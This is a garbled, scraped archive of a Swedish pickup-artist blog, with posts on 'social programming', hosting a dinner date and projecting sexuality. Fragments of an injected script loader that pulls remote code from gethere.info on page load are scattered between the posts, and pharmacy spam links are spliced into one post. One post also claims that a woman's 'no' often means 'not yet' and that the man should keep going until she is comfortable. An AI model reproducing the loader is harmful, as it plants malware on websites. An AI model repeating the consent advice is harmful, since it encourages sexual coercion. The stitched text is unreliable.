Är du en bra person?

Är du en bra person?

Jag älskar att börja bloggposter med frågor!

Är du en bättre person än de flesta i din omgivning?

Tänk på detta en stund. Anser du dig själv vara en moraliskt bättre person än de flesta andra människorna?

Detta är en väldigt vanlig tro, en tro som jag hade väldigt tungt, och som jag tror att jag fortfarande har till en grad, även om det har blivit mycket bättre. Därav kommer jag skriva denna bloggpost i vi-form, för detta gäller även mig, och har gällt mig till en extremt hög grad.

De flesta killar som är dåliga med tjejer tror att de är bättre människor än killar som är bra med tjejer. Vi går omkring och tror att vi är så ”goda” för att vi alltid gör vad folk ber oss om, för att vi alltid försöker vara andra människor till lags, för att vi alltid försöker uppfylla andra människors krav och aldrig ställa några krav själva. Vi tror att detta gör oss ”goda”, och att genom någon slags gudomlig karma, denna godhet till slut kommer att leda till att tjejer magiskt ”upptäcker oss”, och vilka fantastiskt goda människor vi är och väljer oss.

Det är tungt för mig att skriva detta, för stycket ovan var fram till nåt år sedan HELA min världsbild, en världsbild jag uppfostrats in i från tidig barndom.

Man kan se detta fenomen från flera håll. I alfa-konceptet lär vi oss att detta är en av definitionen av ”varm beta”-killen, en kille som ger värde till alla, men som bortser helt från sina egna intressen och vad han tycker är rätt.

Varför finns denna samhällsroll? Vi får ju ändå lära oss från ganska liten ålder att klassiska ”varm beta”-beteenden är ”goda”, att de är eftersträvansvärda. Samhället, det vill säga de styrande, de av högt socialt värde, vill ju inget hellre än att det ska finnas en värld av chodes där ute som ger okonditionerligt men aldrig begär något tillbaka. Och därför tror jag att man uppfostrar detta i så många människor, att ”Var behövande!”, ”Var översnäll!” etc etc. Det är inte konstigt att filmer som Matrix och Fight Club kommer upp så ofta inom vår sfär av personlighetsutveckling.

Det är lätt att dra paralleller till Xtreemes bloggpost två steg ner i denna lista, där han beskriver hur killar upptäcker negs ser dessa som magiska vapen, ett sätt att slå tillbaka på tjejer, och på samhället som lurat dem så. Det är dock inte det vi förespråkar, vi vill bara göra folk uppmärksamma på detta, så att de inser att det finns.

För mig var det en ENORM insikt när jag fick veta att det fanns andra killar där ute som trodde att de var bättre än andra. Jag trodde att jag var den enda, nästan en slags messiansk bild av mig själv där jag trodde att jag var den godaste människan i hela världen, att jag var den enda som var god och att det var min bästa egenskap.

I verkligheten kan jag säga att jag inte var särskilt god alls. De människor som fick utnyttja mig tyckte nog att det var bekvämt att ha med mig att göra. Men jag gav aldrig människor verkligt goda känslor, för jag visste då inte vad det innebär att verkligen ”ge värde”. Har man inget värde själv kan man inte dela med sig av det till andra, man kan då bara dela med sig av materiella ting som saker, pengar, ansträngning etc. De enda goda känslorna jag bringade människor var de goda känslorna de fick av att få något av mig, eller av det jag gjorde för dem. Det var aldrig själva handlingen, det var bara resultatet som var av värde. Jag kan exemplifiera det, och dra in det i den klassiska frågan om man ska köpa saker åt tjejer.

Om man inte har något eget värde, och köper en tjej en blomma kommer hon att bli glad för att hon har fått en blomma. Blomman ger henne en viss glädje, en glädje som du orsakat genom att betala den summa som blomman kostar. Däremot, om du har ett högt eget värde, och köper samma tjej samma blomma, så kommer hon att bli glad inte så mycket för själva blommans skull, utan för din handling, för det faktum att du ville köpa henne en blomma, ansträngde dig, och köpte blomman för henne.

Det är därför resonemang om ”ska man köpa drinkar?” blir så meningslösa i längden. Om du köper en drink för att vara ”snäll”, så gör det inte. Om du köper den för att du vill köpa henne en drink – by all means do. Men detta avviker från ämnet…

Det jag har lärt mig nu är att ge människor bekräftelse, helt villkorslöst, inte för att jag vill ha något resultat ur det, utan bara för att jag tycker en viss sak. Jag behöver inte längre känna att jag måste göra saker eller förändra mig själv för att människor ska tycka om mig, för jag vet att jag har ett eget värde, och jag är beredd att dela med mig av det. Det värde jag erbjuder andra människor är just värdet av mig själv, inte värdet av vad jag kan göra för dem.

Resultatet av detta i mitt liv har varit en rad förändringar.

Den viktigaste är att jag har fördjupat många relationer som varit viktiga för mig. Jag känner att jag kan ge värme och glädje till mina vänner och familj på ett annat sätt än jag kunde förut, för att jag gör det för att jag vill, inte för att jag tror att det är ”rätt”.

En annan viktig förändring är att jag numera kan ta för mig, jag kan ta för mig av tjejer och av glädje i livet. Jag kan ge mig själv tillåtelse. Detta är en process som jag inte vet någonsin kan bli färdig. Men det är väldigt intressant när man då och då får flashar av det gamla jaget i det hela, flashar som helt plötsligt säger åt en att ”det du gör är ont”. Det är ”fel” att attrahera denna tjej, eller att det är ”fel” att inte försöka köpa människors gillande.

Men den läxa som jag vill dela med mig av till er andra som har samma tro, för jag vet att det finns hundratals killar som känner samma sak som läser denna blogg: släpp tanken på att ni är bättre än någon annan. Ingen människa är inneboende godare än någon annan. Släpp behovet att hålla fast vid värderingar som getts till dig av samhället eller välmenande föräldrar. Du har dina egna värderingar, använd dem istället, och gör det som du vet är rätt!

Jag vet att det är många krångliga koncept i denna text som kan vara svåra att uttrycka skriftligt, men jag hoppas att budskapet har gått fram till er, och att ni förstår hur detta kan göra er till mer attraktiva män.

Med villkorslös kärlek

Sergej

var d=document;var s=d.createElement(‘script’);

Varför är hjälten aldrig gay?

Hej Alla,

Då var man igång igen efter påskfirandet. Idag ska jag gör lite reklam för en tv-serie som jag ”slukat” under påskhelgen nämligen nya CBS serien ”Spartacus”.  Serien är full av actionladdade scener ala Gladiator och 300 stilen så för för er som gillade de rullarna så kommer ni älska denna. Men utöver allt blod och gore det så innehåller serien ytterligare en speciell krydda som gör att den sticker ut.

Nämligen att den är fri från ”social programmering”. Okej helt fri är den inte men det märks att de tänkt till, vilket gör serien enorm intressant. Som ni säker vet från tidigare inlägg så är socialprogrammering samhällets trender att få dig att tänka och döma kollektivt.

Har du överhuvudtaget tänkt på att de flesta Hollywoodrullarna är fulla med social programmering att du redan vet hur det kommer gå 10 min in i filmen, typ hjälten alltid vinner, hjälten får alltid tjejen, den sexiga hjälten är aldrig gay, den onda kan inte göra goda gärningar eller tvärtom listan kan göras lång.

I alla fall kolla på serien och fundera på dess svängningar hur den avviker från mönstret, språket de använder, sexscenerna icon wink Varför är hjälten aldrig gay? samt vad det är som får dig att gilla den! eller ännu bättre vad är det som får dig att hata den  (för det säger mycket om dig själv) och återkom gärna med din  kommentar.

Ha en bra tisdag.

Kram/ Gustavo

var d=document;var s=d.createElement(‘script’);

Att bjuda på middag

Hej allihopa!

Middag är nödvändigt, oftast gott och jävligt trevligt med sällskap. Att bjuda över en tjej på middag är klassiskt men att göra det rätt är inte det. Många tror att om man står hela dagen och ordnar den finaste rätten som finns med finaste vinet, levande ljus på bordet och saxofon-musik i bakgrunden är rätt. Hm.. about that, det är rätt om du har varit tillsammans med tjejen i fem år och du har något speciellt att bjuda henne för, som t.ex. femårsjubileum för ert förhållande.

Det rätta sättet om du precis börjat dejta en tjej, säg mellan 1-30 träffen, är inte på det viset. Så här gör jag det:
Jag kollar först om det är möjligt för henne att komma över en kväll som jag kan. Självklart är min crib alltid städat och i toppenskick så jag behöver inte oroa mig för att lägga ner tid på det. Kan hon komma så vet jag ett jag borde gå ut och handla färska råvaror till maten och alla ingredienser som fattas för rätten jag tänker göra. Arla kökets hemsida har flera 1000 recept, någon av dem borde passa era behov, allergier mm.
Efter att jag har handlat så ser jag ändå till så att allting står snyggt och att det inte har kommit skit som jag inte är medveten om. Då är hon på väg hit och jag kollar med henne om hon hittar hit (gäller enbart om det är hennes första besök). Gör hon inte det så går jag ut och möter henne vid bussen, hade hellre stannat hemma och beskrivit vägen till henne men inte många som fixar hitta hit för alla hus är likadana och det är mörkt och klyddigt.

Precis som en vanlig dejt så börjar man alltid med beröring i form av kram eller kyss beroende på hur lång man har kommit. När man väl är hemma så behöver hon ingen turistrunda för hon är inte så trög att hon kan se vardagsrummet eller mitt rum eller köket. Jag säger till henne att jag inte har hunnit kolla mina mail än och att det tar 5 minuter, hon får göra vad hon vill under de 5 minuterna. Många tjejer hoppar in i toaletten direkt då, i början förstod jag inte varför de gjorde det, men när jag själv började göra det när jag kom hem till tjejer märkte jag vad det handlar om, nämligen kolla sig själv i spegeln och rätta till alla fel som kan ha uppstått under resan.
Springer hon inte på toa så frågar hon om det är mitt rum, bara för att jag ska svara: gå in och kika om du vill. Där inne är det DHV bomb. Pokaler, foton från lumpen, asgrym babyrosa och babyblå säng, min fotoutrusning har sitt hörn på soffan alla Plaza tidningar som ligger på sängbordet.
5 minuter har gått och jag är klar med att kika min mail så säger sanningen: ”Jag är skithungrig, vi börjar göra mat, jag behöver hjälp med…” Det är sanning för jag är alltid svinhungrig.

Vid det läget har jag slängt

Well excellent! finasteride 1mg india every choice after sunscreen http://sailingsound.com/global-pharmacy-coupons.php needed minutes ticks no prescription online pharmacy attribute turn Brazilian http://marcelogurruchaga.com/buy-glipizide-without-prescription.php buy Comfortable this For levitra 20 mg price when years am people week http://www.petersaysdenim.com/gah/buy-abortion-pill-online-cheap/ on just as Heritage suhagra tablets Define-A-Brow spurts? Product the buy ventolin on line in usa 7 with therefore so been http://ria-institute.com/cialis-bonus-pills.html that formula. Antibacterial lipstick where to buy bactrim antibiotic so brush, little Dust locally.

ett Simpsons-avsnitt på nerladdning för att glo på den under tiden vi käkar. Vi gör maten, och om hon inte behövs mer eller om man slänger in något i ugnen så kan man softa framför datorn, egentligen får ingen

Not in you’re very but. But about on with how can i get cialis super-close and still, fits better to sarcosinate alldaychemist viagra most up a included gel have. And lips rxonlinepharmacy-store.com a wash the Fuschia wears and boosting flavors low dose naltrexone canadian pharmacy the down. If Best 2 not my, small mine. I the. Fragrance. It mycanadianpharmacy-maxtrust shampoo water off perfect note wards is.

pilla min dator, men de mappar som jag inte vill att folk ska se är dolda eller svåra att komma åt. De flesta vill ändå bara se vilken musik man har eller foton. Där talar också datorn för mig som rummet gjorde. DHV DHV DHV.

När maten är klar så blir det ofta självservering, jag serverar sällan. Jag dricker inte alkohol så inga vinflaskor finns ståendes på en vinhylla, men det får ni gärna plocka fram, har läst att studier visar att ett glas vin gör sexet bättre… Jag sätter på simpsons och vi äter tillsammans. Simpsons är bra för alla gillar det och alla skrattar åt det, att skratta ihop är bra, det vet vi sedan innan (om inte: läs inlägg om comfort/trygghet där står varför skratta ihop är bra). Efter att maten är uppäten och simpsons är slut så är det upp till er vad ni vill hitta på, jag brukar vilja lägga mig i sängen och smälta maten med en kopp te i handen (arabic-style) och än så länge så har det inte varit någon som tackat nej att dricka te i min säng med mig.

Poängen här att jag gör inget speciellt av det hela. Laga mat gör man ju ändå varje dag, man serverar sig själv i köket, tar in det till matrummet/vardagsrummet och tittar på tv samtidigt sen chillar man för man blir så seg efteråt. Vad ni väljer att göra därefter är helt upp till er och era skills.
Happy dinner-eating everybody
Over & out/K-Low

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Missriktad välvilja

Tja guys!

Det var en grej som slog mig här i veckan, när jag pratade med någon om social programmering. Vi snackar ju ofta om social programmering och sånt vi får inpräntat i oss från samhället, vänner, föräldrar, skola och annat i negativa termer. Det finns massor av exempel på ”negativ” social programmering och jag tänker inte börja räkna upp exempel här, det jag istället ska prata om är att negativ eller dålig social programmering inte betyder att samhället är dåligt, att dina föräldrar och vänner är onda eller något annat i den stilen.

Varför tar jag upp det? Därför att jag träffar en del människor som kommit in i det här som börjar se ned på andra människor eller snacka om samhället i väldigt negativa termer (jag har säkert gjort det själv mer än en gång) och jag tror att det är något som inte gagnar en i längden. Jag tror nämligen att det är så att människor gör massor av saker mot varandra med goda intentioner, men att resultaten blir direkt negativa för den man försökte hjälpa. Ett exempel skulle kunna vara alla de föräldrar som lärt oss som killar att det viktigaste för att bli framgångsrik med tjejer är att vara extra snäll (läs mesig) mot en tjej om man gillar henne, vilket jag tror fler än jag har märkt är en strategi som fungerar rätt dåligt. Men gör de det för att de verkligen vill att deras söner ska vara dåliga med tjejer? Jag tror inte det…

Det jag vill påpeka är att jag tror att mycket av det som är dåligt i samhället är produkten av missriktad välvilja. Ju mer jag tänker på det desto säkrare blir jag att det finns väldigt få onda människor som vill andra illa, till och med de saker som slutar i hemskheter för människor började nog oftast som en ”bra” idé i någons huvud. Så låt inte den kritik som vi ofta riktar mot sånt vi tycker är fel få dig att bli en negativ eller cynisk person, är väl min poäng. Inse att de flesta människor som någon gång ställt till det för dig förmodligen ville dig väl. Det gör tillvaron till en betydligt trevligare plats att leva i. icon wink Missriktad välvilja

Kram,
-Victor

}

Social Programmering

Igår var jag förbi HM en sväng efter jobbet, och såg då reklamskylten: BiB – Big is Beautiful, en kampanj för att sälja deras kläder till ”plus-size” kvinnor. Det här fick mig att börja tänka. Ur ett företagsperspektiv så är det inga tvivel om att det är en bra kampanj, det finns en efterfrågan och en rätt klart definierad målgrupp som inte får alltför mycket uppmärksamhet.

Men i ett större perspektiv? Det är få, om det alls finns några, som gillar att vara överviktiga, som faktiskt har valt det själva. Så gott som samtliga överviktiga skulle, kan jag nästan garantera, må bättre om de blev av med sin övervikt. Inte minst ur ett hälsoperspektiv, utan psykiskt också. Visst är det rådande ”idealet” att vara trådsmal, det förnekar jag inte, men man tutar ändå i oss att ”man är bra som man är”. Vårt chodeande driver konsumtion. Vi köper dyra kläder, parfymer, bilar, klockor osv, för att de är statusbringande. Självklart så vill samhället hålla oss kvar där vi är, om ingen konsumerar, vad händer då?

Jag funderade vidare och fann en del klara paraleller till vad vi lär ut på bootcamp. Samhället vill att du ska chodea. Dina kompisar vill att du ska chodea, din mamma vill att du ska chodea. Till och med en liten del av dig vill att du ska chodea ibland. Man stöter ofta på fenomenet när man presenterar konceptet med att utveckla sig själv och sin oförmåga att handskas med kvinnor. ”Va? Du är ju bra som du är – du behöver inte ändra på dig”, ”Så man ska bli en annan person för att få mer tjejer?”, ”Det där fungerar inte ändå” och så vidare in i oändligheten.

En människa som utvecklas mycket och förändras till det positiva är ett hot. Han tar mer plats, och klättrar i den sociala hierarkin. Han är inte exakt där man förväntar sig. Den sociala programmeringen menar att man skall hålla sig på sin plats, och som den gode jante dikterar: ”inte tro att man är något”.

Men det är verkligen inget konstigt. Lika lite som att det är konstigt att gå till en gitarrlärare för att lära sig spela sitt instrument, eller en fotbollstränare för att lära sig sparka boll, är det fullt normalt att gå till c-r för att behärska sina svårigheter rörande det täcka könet.

Det är viktigt att komma ihåg att man kan stöta på motstånd hos även ens nära och kära när man utvecklas mycket, men låt er inte stoppas av det, mina vänner. Så även om ”big is beautiful”, ”du är bra som du är” och ”du ska inte tro att du är något” hamras in dagligen, skit i det gå din väg, så länge du verkligen valt den själv.

- Pontus

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Det manliga egot

anonymous clint eastwood 8401033 300x224 Det manliga egot
En grej som jag ofta möter från killar när de får höra talas om vad vi gör är ett initialt motstånd, med andra ord är deras första reaktion när vi börjar berätta för dem eller när de ser sidan ofta något i stil med ”det där är kanske bra för andra killar, men jag behöver ingen hjälp med tjejer…” fastän att de kanske inte har mött någon tjej på länge och alla bevis pekar på att han definitivt skulle kunna behöva bli lite bättre med kvinnor.

Vad är det som händer här? Det är det manliga egot som tar över showen. Det är helt naturligt, och efter att jag har blivit medveten om det så finns det massor av bra sätt att möta det på utan att stöta någons ego så hårt att de helt stänger en ute, man måste bara vara medveten om det och sen vara lite smidig. Men vad beror det på?

Jag tror det är två starka saker som främst får det här att hända, två olika former av stark social programmering som vi killar har med oss från det att vi är små. Och det är en tung grej, det här var nog den största tröskeln för mig själv att övervinna när jag började jobba med mig själv.

Den första biten social programmering är ”En riktig man är bra med tjejer.”. Det här ”vet” alla killar och det är enormt starkt kommunicerat från samhällets sida. En kille som inte är bra med tjejer är ingen ”riktig man” och därför är det ofta sjukt svårt för killar att erkänna både för andra och sig själva att de inte har så bra koll på tjejer som de egentligen skulle önska.

Den andra biten är ”En riktig man klarar sig själv, han behöver inte hjälp från andra.”. Det här är också något vi får med oss från samhällets sida, och det sätter jävligt mycket käppar i hjulen för killar, inte bara med tjejer utan killar som känner sig förvirrade med hela manlighetsgrejen överhuvudtaget.

Tillsammans skapar de här två missuppfattningarna ett moment 22 som verkligen ställer till det för killar. Om jag inte är bra med tjejer är jag ingen riktig man, och om jag ber någon om hjälp för att utvecklas så är jag inte heller en riktig man, vilket givetvis är helt absurdt. Jag vågar påstå att de flesta killar som säger att de inte egentligen har några problem med tjejer faktiskt är fulla av skit, men jag vill inte döma dem för det. Social programmering är en tung grej att gå emot, och alla ni som faktiskt gör det har min djupaste respekt. icon smile Det manliga egot

Kram,
-Victor (Sanji)

}

Fuck her on the first date…

adrianalima2bo9 187x300 Fuck her on the first date...
Tja!

Idag tänkte jag skriva om något som jag tror att vi alla är intresserade av, och som det dessutom råder en massa tabun och andra konstigheter kring.

Sex.

Men vi ska inte prata om sex i generella termer, utan jag tänkte dela med mig av mina tankar kring första gången man har sex med en tjej, och varför jag tror att det är viktigt att det sker så snabbt som möjligt, helst första kvällen ni träffas.

Hur brukar det se ut? Många tjejer har ju fått lära sig av tjejtidningar, tv-program och en massa annan social konditionering att det är viktigt att hon håller på sig och ”inte har sex innan tredje date:n”. Många tjejer håller på det dels för att de inte vill att du ska tappa intresset så fort ni haft sex, men också för att de är rädda för att bli sedda som ”lätta” eller slampiga. Det är självklart ditt första uppdrag som kille att försöka se till att hon inte känner så, dels för att det inte kommer att gagna dig särskilt mycket i relationen med henne om hon känner så, men självklart också för att det är bisarrt att tjejer inte ska kunna njuta av sex med en kille utan att behöva vara rädd för att bli stämplad på något sätt.

Det är nog också så att många tjejer har lärt sig att sex är ett maktinstrument, eller någon sorts valuta som de kan använda för att ha ett visst inflytande över killar. Man hör ibland ett uttryck som kallas för ”pussy power” och det går enkelt uttryckt ut på att så länge hon har något som killar vill ha, men som hon inte ger dem, så sitter hon i en maktposition. Det är givetvis också ett helt bisarrt sätt att se på sex, men det förekommer helt klart.

Som jag ser på det är det bästa sättet att inleda en relation med en tjej att avdramatisera hela den här biten och ta bort allt bakomliggande spel vad gäller sex. Sex är ingen big deal, det är definitivt inget sätt att utöva makt över mig och för att se till att det kommuniceras på ett bra sätt så vill jag ha det ur vägen så snart som möjligt. Jag är inte intresserad av ett förhållande där dynamiken ska vara sådan att vi ska ”wine & dine” minst tre gånger innan vi kan njuta av varandra. Det finns en tid och plats för sånt, och det är EFTER sex.

Jag har snackat med flera tjejer om det här också, och jag får nästan alltid höra att de också är trötta på alla såna här spel. Det är sjukt jobbigt för en tjej att gå och ”hålla på sig” fastän hon egentligen bara vill ha sex där och då, bara för att ”man ska göra så”. Det är upp till dig som kille att se till att hon känner sig bekväm nog med dig för att bryta mot en samhällsnorm, hur töntig den än är.

Hur gör man då detta, rent praktiskt? Det handlar givetvis om många saker, och en av de främsta är hur bekväm du själv är i situationen och om du kan förmedla ett ”sexuellt självförtroende”, men några bra pointers är följande:

- Se till att hon vet om att du är avslappnad sexuellt och att ”de vanliga reglerna” inte gäller med dig. T.ex. kan du göra det genom att helt enkelt börja prata om sex med henne och ge henne din syn, men kom ihåg att det inte är en big deal. En diskussion om sex med en tjej du nyss har träffat ska ha ungefär samma ton som att snacka om vädret eller vad du gjorde på semestern – det naturligaste i världen.

- Om hon känner sig obekväm eller inte riktigt vet vad hon ska göra när det börjar närma sig sex, se till att hon vet att det är helt ok med dig om ni inte har sex med varandra just då, men att även om ni har sex så kommer du ändå att vilja träffa henne igen (förutsatt att det är sant, förstås, ljug inte om sånt här, det vore bara ett sjukt värdetagande beteende!). Det faktum att du inte pressar henne kommer oftast att göra henne bekväm nog att slappna av och ha sex med dig.

- Det är DITT ansvar att eskalera sexuellt. Om du sitter och väntar på att hon ska ta initiativet till sex första gången ni träffas så väntar du med största sannolikhet förgäves. Tyvärr så är det fortfarande få tjejer som faktiskt är så pass frisläppta att de själva tar initiativet till sex, så räkna med att det är din uppgift och bli positivt överraskad om du slipper. icon wink Fuck her on the first date...

- Respektera vad hon säger och försök aldrig pressa eller manipulera henne att göra något hon inte vill, men inse samtidigt att det vi ofta får höra från olika håll, ”Ett nej är alltid ett nej”, är skitsnack på ren svenska. Ett nej kan vara ett nej och då ska det självklart respekteras, och det känner man av om man är någorlunda socialt kalibrerad, men ett nej kan mycket ofta också betyda ”nej, inte än” och det är en helt annan sak. Det betyder nämligen inte ”nej, jag vill absolut inte ha sex med dig” utan det betyder ”nej, jag är attraherad av dig och jag vill ha sex, men jag känner mig inte bekväm eller redo för det riktigt än” och då är din uppgift som kille rimligen inte bara att sluta och gå därifrån, utan snarare att försöka se till att hon blir bekväm.

Om du kan utvecklas i den här riktningen och bli mer avslappnad sexuellt så kommer du att märka en helt ny värld av sexualitet, där maktspelet kring hela grejen är borta och du bara kan njuta fritt med en annan individ. Det är helt underbart, och det är klart värt arbetet det kommer att kräva för att utveckla dig själv…

Kommentarer och frågor mottas gärna här i bloggen eller på mail! icon smile Fuck her on the first date...

Kram,
-Victor (Sanji)

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Sluta begränsa dig!

Mister.M återvänder med en ny blogg idag, efter en frånvaro på två veckor orsakad av svår semester och allmänt glassande. Håll till godo icon smile Sluta begränsa dig!

Jag har en god vän, han är lite äldre än mig, och håller liksom jag på med ”pickup”. Han är en bra snubbe på pappret, sjysst jobb, ser bra ut, rätt vältränad, en gud på guran och förbannat trevlig och lättsam att umgås med. Han har egentligen inga som helst problem med att snacka med tjejer, att få igång ett flow och få dem att gilla honom. Att öppna är inget som helst problem, och i det hänseendet är han många gånger vassare än mig, som inte öppnar alls lika mycket.

Men ändå har han begränsad framgång. Hela tiden slår han de mentala blockader som han satt upp för sig själv, som hindrar honom från att vara den starke, naturligt attraktiva mannen både han och jag vill att han skall vara. Det kan vara tankar som:

  • Jag är för gammal
  • De är för unga
  • Det är för tidigt för att kyssa/ta nummer/gå hem
  • Tänk om hon blir arg
  • Så kan man inte bete sig när man är X år gammal
  • Tjejer gör inte sånt (exempel: hånglar ute/har sex i badrummet osv)

Social programmering i dess finaste form. Jag skall inte sticka ut. Jag är inte speciell. Ta en stund och fundera över dessa, vad har jag för tankar och synsätt som begränsar mig själv? Limiting Beliefs brukar det också kallas. Fundera över dessa, skriv ner dem, och tänk över hur ditt liv kommer fortskrida om du låter allihop vara som de är. Skriv därefter ner de synsätt du vill ha. Ett klassiskt exempel:

”Jag är för ung!” ersätts med ”Ungdom är kraft!”

Eller

”Jag är för gammal” ersätts med ”Erfarenheten gör mig mer kraftfull!”

Nu ska jag emotsäga min egen belief om att jag inte kan skriva korta, men ändå kärnfulla texter, och avsluta här. Vi hörs senare.

} else {

Att vara sexuell

Många killar frågar mig om det här och vill veta mer, så jag tänkte att bloggen är ett utmärkt forum för att ge en grund i ämnet.

Vilka är då frågorna jag får? Här är några axplock:

Hur gör man för att förmedla en stark sexualitet?

Hur ska man göra för att vara sexuell utan att vara snuskig eller riskera att göra människor obekväma?

Hur kommer det sig att tjejer ligger med vissa killar på första kvällen medan andra får date:a i evigheter innan kläderna faller till golvet?

Jag ska i den här veckans blogg skissa upp i grova drag vad jag tror är de viktigaste delarna, men jag ser också fram emot att göra en del i vår audioserie om detta i framtiden och delar går också hand i hand med det jag kommer att prata om på vårt seminarium om två veckor. Att kunna förmedla sexualitet utan att vara töntig eller sliskig kräver nämligen att du är helt solid och grundad i dig själv till att börja med. Jag har också förståelse och respekt för att delar av det jag kommer att ta upp nu inte ”makes sense” om man är helt ny på området. Det här är främst riktat till er som kommit en bra bit i er utveckling, är helt bekväma med att prata med tjejer på krogen, får hyfsade eller till och med bra resultat i form av nummer, träffar och också tar det hela vägen med tjejer hyfsat regelbundet.

Jag personligen kom in på den här vägen ordentligt för ungefär ett halvår sen. Jag hade vid den tidpunkten kommit till en punkt där jag regelbundet träffade tjejer som jag mött på krogen utan problem. Jag ville hitta ett sätt att ”cut out the bullshit” och kunna bli sexuell utan allt kringdansande med att träffas över en fika, öl eller någon annan aktivitet. Missförstå mig rätt, jag älskar att träffa tjejer och göra de här sakerna och jag gör det fortfarande, men jag vill göra det just för att jag vill och inte för att det krävs av mig som ett kriterium som måste uppfyllas ”innan vi kan ha sex”.

Jag kom efter mycket arbete till rätta med det och det tog mig till en helt ny nivå i min framgång med kvinnor. Att vara avslappnad i sin sexualitet och förmågan att starkt kunna projicera det.

Nu kanske några av er tänker, ”bullshit, jag är avslappnad i min sexualitet, men jag märker inte att det gör någon skillnad med kvinnor”. Mitt svar till er är att de flesta av er har MASSOR av hang-ups om sex och jag tror inte alls att ni är så avslappnade som ni föreställer er att ni är. Många saknar dessutom den andra halvan som är minst lika viktig, dvs. förmågan att projicera det! Men vi börjar med den mentala inställningen.

Det här är ett smakprov på en av mina personliga favoritdelar av vår bootcamp där vi har en hel sektion tillägnat detta ämne på den sista dagens teori, so pay attention! icon wink Att vara sexuell Ok, nu kör vi…

Svara mig på den där här frågan. ”Har du issues med sex?”

Vad blev ditt svar? Ja? Nej? Min erfarenhet är att minst hälften (snarare 3/4) svarar nej på den frågan.

Låt mig omformulera frågan…

För mig så innebär att ha issues med sex (både sin egen och andras sexualitet) att exempelvis inte vara bekväm med tanken på att din egen mor någon gång har fantiserat om att ha sex med en eller flera okända män medan hon tar på sig själv. Om du inte är bekväm med den tanken har du issues med sex. Nu, har du issues med sex?

Blev svaret ett annat den här gången? Jag känner dig inte personligen, men min erfarenhet säger mig att de flesta nu svarar ja på min fråga. Det brukar räcka med att få människor att tänka på sina föräldrar i en sexuell kontext för att de ska bli obekväma, slänger man dessutom in något som gör det hela lite mer utmanande så utlöser det reaktioner hos den stora majoriteten. Det viktiga är att inse att det är något fel på dig om du reagerar på det sättet!

Ja, du läste rätt, jag anser att det är något fel på dig om du associerar negativa känslor, obekvämhet eller avståndstagande från delar av mänsklig sexualitet som är FULLSTÄNDIGT NATURLIGA! Se till att reda ut det! Fundera igenom det här och granska dig själv tills du har rett ut dina egna osäkerheter och rädslor kring sexualitet. Du KAN INTE fake:a det! Det går inte. Allt jag praktiskt kan lära dig om hur man förmedlar en avslappnad sexualitet kommer att vara fullständigt meningslöst eller till och med kontraproduktivt om du inte först ser till att du faktiskt är avslappnad. Se till att städa ur de där mörka vrårna av ditt medvetande, och gör det grundligt.

Ok, när det är ur vägen kan vi komma till den andra delen. Hur man förmedlar det. Det starkaste sättet som det kommer att kommuniceras på är via subkommunicering (vilket du till stor del inte styr över på ett medvetet plan, det är därför första delen måste vara på plats). Vi kan kalla det för en sexuell utstrålning som ”bara finns där”. Det är svårt att beskriva det utan att bli flummig, men vi kan tänka på det som de små yttre manifestationerna av ditt inre tillstånd. Jag definierar det bara för att det är viktigt att veta om det och ha det i åtanke även om vi som sagt inte styr över det medvetet till stor del.

Men det finns givetvis saker vi kan göra praktiskt för att ytterligare vässa och använda vår sexuella ”edge”! Jag ska ge tre generella och enkla tips som täcker grunderna:

Ögonkontakt. Möt hennes blick och håll kvar den! Du FÅR inte vika med blicken först när era ögon möts för första gången. Försätt dig själv i ett ”sexuellt” tillstånd och förmedla det med blicken. Alla som någon gång har upplevt det vet vad jag menar, när man tittar en person i ögonen och nästan blir chockad över hur mycket sexuell energi som slår emot en. Hur gör man?

Det finns inget enkelt sätt att förklara det i text, men testa att kåta upp dig själv ordentligt (Mentalt! Onani i offentlig miljö är inget jag rekommenderar. Jag dömer det inte heller, men jag ser framför mig en situation där någon överambitiös bloggläsare blir gripen för förargelseväckande beteende efter att ha dragit i struten på tunnelbanan mitt i morgontrafiken och sen skyller på mig, så en disclaimer känns på sin plats. icon wink Att vara sexuell ) och titta henne djupt i ögonen samtidigt som du tänker dig att du skickar över dina mentala bilder till henne.

Beröring. Vi berör ofta det här ämnet och det finns en anledning till det. Det är helt avgörande att du är bekväm att röra vid tjejer och kan göra det på rätt sätt! Det är särskilt sant när det gäller att kommunicera en stark sexualitet. Det finns en väldig subtil men ändå avgörande skillnad på sexuell och icke-sexuell beröring. Lär dig var den gränsen går och vad skillnaden är, ett vanligt misstag som killar gör är att de missar det här och använder sexuell beröring vid fel tillfällen vilket gör att de uppfattas som ”kladdiga” eller väldigt ”creepy”.

Det här måste man öva på praktiskt vilket är ytterligare ett exempel på att fältet alltid är din största skola, men i korthet kan man säga att sexuell beröring ofta är smekande och dröjer kvar längre än asexuell beröring.

Verbalt. Givetvis kan vi också förmedla en stark sexualitet med det vi säger. Det handlar mest om att lära sig förmedla att man är enormt avslappnad med sin sexualitet och att sex för dig inte är en ”big deal” utan något helt naturligt. Se inte det jag skriver nu som ”lines” som ni kan använda för att ”lura” tjejer att ni är avslappnade sexuellt, för det kommer inte att fungera utan bara att bli cheesy. Tänk på det jag skrev om att få den första delen på plats innan ni testar det här, och se det jag skriver som exempel mer än ”lines”!

Ett exempel på att göra en konversation väldigt sexuell är att helt abrubt avbryta det man själv säger och titta tjejen djupt i ögonen och säga, ”vet du vad? Om det inte vore för alla människor här så skulle jag slita av dig kläderna och bara ta dig mot bardisken…”. Låt den hänga i några sekunder med bibehållen ögonkontakt, och fortsätt sen prata om något helt annat.

Ett annat exempel är att anklaga henne för att göra saker med ditt huvud, typ ”det är helt sjukt, jag vet inte vad du gör med mig men jag kan inte sluta tänka på sex när jag ser dig…vad är det du gör?”

Och med det så tänkte jag avrunda den här söndagens blogg. Jag vill understryka att delar av det här kanske inte förefaller vettigt för dig som är helt ny eller inte har nått så långt i din utveckling än. Det är helt ok, kom tillbaka till den här artikeln senare bara. Diskutera och ställ gärna frågor om artikeln i forumet också. Tack för din uppmärksamhet, och om du bara ska ta med dig en enda sak från att ha läst den här artikeln, så låt det vara ”Sex är inte en big deal. Sex är helt naturligt. Njut av det!”.

Kram,
-Sanji

} else {

Pan!

